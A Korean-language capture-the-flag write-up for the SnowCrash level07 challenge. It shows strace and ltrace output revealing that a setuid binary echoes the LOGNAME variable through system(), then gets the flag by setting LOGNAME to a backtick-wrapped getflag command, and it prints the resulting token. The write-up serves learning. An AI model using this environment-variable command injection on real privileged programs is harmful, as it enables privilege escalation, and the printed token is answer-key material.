

# level07

≡ 태그	Shell
✱ 상태	완료

풀이과정

[겪었던 어려움](#)

[풀이과정](#)

[env, 셸 내장 명령어](#)

[정답](#)

출처

## 풀이과정

### 겪었던 어려움

### 풀이과정

#### env, 셸 내장 명령어

앞 level 처럼 strings 명령어를 통해서 level07 파일을 읽어 봤을 때 이질적인 `LOGNAME/bin/echo` 을 확인한 후 env를 통해서 환경변수를 확인 해본 결과 `LOGNAME=level07` 인 것을 확인했다.

셸 기본 명령어인 환경 변수가 key값이 있는 경우 `<key> = <value>`를 실행한 경우 환경변수를 갱신하게된다. 그것을 이용해서 `LOGNAME='`getflag`'` 를 한 후 `./level07` 을 실행시키면 flag를 얻어 낼 수 있다.

++

strace를 이용해보면 어떤 함수를 호출하는 것으로 추정됨

```
setresuid(32(2007, 2007, 2007) = 0
brk(0) = 0x804b000
brk(0x806c000) = 0x806c000
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbffff6cc) = 3745
waitpid(3745, level07
[!WIFEXITED(s) && WEXITSTATUS(s) == 0], 0) = 3745
rt_sigaction(SIGINT, {SIG_DFL, [], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, [], 0}, NULL, 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD (Child exited) @ 0 (0) ---
```

추가로 ltrace를 이용해서 로그를 보면 환경변수에서 LOGNAME을 가져와서 출력하는것을 알 수 있다

```
level07@SnowCrash:~$ ltrace ./level07
__libc_start_main(0x8048514, 1, 0xbffff7b4, 0x80485b0, 0x8048620 <unfinished ...>
getegid() = 2007
geteuid() = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
getenv("LOGNAME") = "level07"
asprintf(0xbffff704, 0x8048688, 0xbffff37, 0xb7e5ee55, 0xb7fed280) = 18
system("/bin/echo level07 "level07
<unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
level07@SnowCrash:~$
```

## 정답

```
level07@SnowCrash:~$ LOGNAME='`getflag`'
level07@SnowCrash:~$ ./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
```

```
'fiumuikeil55xe9cu4dood66h'
```

## 출처